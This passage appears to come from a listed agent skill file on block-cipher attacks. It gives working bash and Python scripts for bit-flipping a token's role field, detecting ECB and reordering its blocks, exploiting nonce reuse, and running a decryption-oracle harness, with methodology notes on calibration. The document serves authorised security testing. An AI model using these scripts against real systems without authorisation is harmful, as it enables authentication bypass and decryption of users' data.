        if x.status==200: print(f"pos {pos:3} accepted -> {b[:80]}")
    except Exception: pass
PY
# the reproduction: flip the byte that controls the role field, and read the identity back
curl -sS "$T/api/me?token=FLIPPED_TOKEN" -H "Cookie: $S" | head -c 200; echo
```

**The read-back showing a different role or user is the finding.** A bit flip that produces a `500` or
a garbled body is a broken ciphertext, not a bypass.

### 15.4 ECB detection and block reordering

```bash
# encryption is deterministic and per-block, so identical plaintext blocks repeat
python3 - <<'PY'
import urllib.request, json, collections
T="https://target.tld"; S="session=PASTE"
def enc(p):
    r=urllib.request.Request(f"{T}/api/encrypt?plain={p}",headers={"Cookie":S})
    return json.loads(urllib.request.urlopen(r).read())["token"]
a=enc("A"*16+"B"*16); b=enc("B"*16+"A"*16)
print("same-block detection:", a[16:32]==b[0:16] if len(a)>=32 else "token too short")
# and a two-block sweep, which is the reliable ECB test
for n in (16,32,48,64):
    t=enc("A"*n)
    blocks=[t[i:i+22] for i in range(0,len(t),22)]
    dupes=[b for b,c in collections.Counter(blocks).items() if c>1]
    print(f"len {n:3} blocks={len(blocks)} duplicate_blocks={len(dupes)}")
PY
```

**Repeated ciphertext blocks for repeated plaintext blocks is ECB**, and it is a finding only when
combined with an observable effect: a reordered block that changes a stored value, confirmed by a
read-back.

### 15.5 Recover a known plaintext first, then one you do not know

```bash
# ground truth: you know exactly what you encrypted
curl -sS -o /tmp/gt "$T/api/encrypt?plain=KNOWNSECRETVALUE" -H "Cookie: $S"
CT=$(python3 -c "import json;print(json.load(open('/tmp/gt'))['token'])")
echo "ciphertext: $CT"
# run the recovery against it, and compare to the known value byte for byte
echo "KNOWN:      KNOWNSECRETVALUE"
echo "RECOVERED:  <your recovery output> - these must match exactly"
# only then point the same routine at a ciphertext the application produced for a real user message
```

**Recovery against a known value is the calibration; recovery against an unknown one is the finding.**
Report both, in that order, so the reader can see the primitive is real.

### 15.6 Stream ciphers: nonce reuse

```bash
# two ciphertexts under the same keystream XOR to the XOR of the plaintexts
python3 - <<'PY'
import urllib.request, json
T="https://target.tld"; S="session=PASTE"
def enc(p):
    r=urllib.request.Request(f"{T}/api/encrypt?plain={p}",headers={"Cookie":S})
    return json.loads(urllib.request.urlopen(r).read())["token"]
c1=enc("A"*32); c2=enc("A"*32)
print("same plaintext encrypts to the same ciphertext:", c1==c2, "(deterministic - nonce reuse or ECB)")
# XOR the two into bytes and look for the structured plaintext pattern
PY
# the confirmation: encrypt a known value twice, XOR the ciphertexts, and check they cancel
echo "identical ciphertexts for identical plaintext mean the nonce is fixed - the keystream is reusable"
```

**A randomised cipher is the control here.** Encrypt the same plaintext twice and show that a properly
nonced implementation differs while the target does not. That pair is the evidence.

### 15.7 A harness that reports calibration and recovery separately

```bash
python3 - <<'PY'
import urllib.request, json, time, random, string
T="https://target.tld"; S="session=PASTE"
def oracle(tok):
    r=urllib.request.Request(f"{T}/api/decrypt?token={tok}",headers={"Cookie":S})
    try:
        x=urllib.request.urlopen(r,timeout=10); return x.status,len(x.read())
    except urllib.error.HTTPError as e: return e.code,len(e.read())
    except Exception: return None,0

cal_ok = oracle("VALID_CT") == oracle("VALID_CT")          # stable
print("oracle stable on valid input:", cal_ok)
noise = sum(1 for _ in range(30) if oracle("".join(random.choice(string.ascii_letters) for _ in range(24))) == oracle("VALID_CT"))
print(f"noise floor: {noise}/30 random inputs look 'valid'")
print()
print("Only proceed if the noise floor is low AND the oracle is stable.")
print("Then: recover the KNOWN plaintext, print it beside the known value, and only then")
print("run the same routine against an unknown ciphertext.")
print("Report: calibration result, the known-plaintext recovery, and the unknown recovery.")
PY
```

**Three outputs, in this order: calibration, known recovery, unknown recovery.** An attack report that
starts at the third output has no demonstrated primitive underneath it.

---

## 15. RELATED SIBLINGS - LOAD TOGETHER
- [hash-attack-techniques](../hash-attack-techniques/SKILL.md) - the sibling class for the fingerprint-based constructions
- [rsa-attack-techniques](../rsa-attack-techniques/SKILL.md) - the public-key counterpart with the same calibration discipline
- [classical-cipher-analysis](../classical-cipher-analysis/SKILL.md) - the frequency and structure analysis this builds on
- [lattice-crypto-attacks](../lattice-crypto-attacks/SKILL.md) - the mathematical method behind the weak-parameter cases
- [jwt-oauth-token-attacks](../jwt-oauth-token-attacks/SKILL.md) - where a broken cipher becomes an authentication bypass

Files in this skill

  • BLOCK_CIPHER_ATTACKS.md10.9 KB
  • SKILL.md40.4 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.